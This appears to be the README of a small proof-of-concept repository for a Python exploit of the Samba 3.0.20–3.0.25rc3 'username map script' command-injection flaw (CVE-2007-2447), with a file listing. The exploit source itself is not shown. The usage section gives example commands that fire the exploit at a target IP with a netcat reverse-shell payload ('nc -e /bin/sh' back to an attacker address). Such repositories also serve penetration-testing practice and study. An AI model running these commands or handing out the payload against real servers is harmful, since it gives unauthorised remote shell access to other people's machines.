Python implementation of 'Username' map script' RCE Exploit for Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).# CVE-2007-2447 - Python implementation
## Description
Python implementation of 'Username' map script' RCE Exploit for Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
## Usage
`python3 smbExploit.py <IP> <PORT> <PAYLOAD>`
- IP - Ip of the remote machine.
- PORT - (Optional) Port that smb is running on.
- PAYLOAD - Payload to be executed on the remote machine e.g. reverse shell.
Examples:
`python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'`
`python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'`
## Resorces
[CVE-2007-2447: Remote Command Injection Vulnerability](https://www.samba.org/samba/security/CVE-2007-2447.html)
[Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)](https://www.exploit-db.com/exploits/16320)
[4.0K] /data/pocs/b81af644976732efe75eff2e63d6e8316771c07e
├── [ 788] README.md
└── [1.2K] smbExploit.py
0 directories, 2 files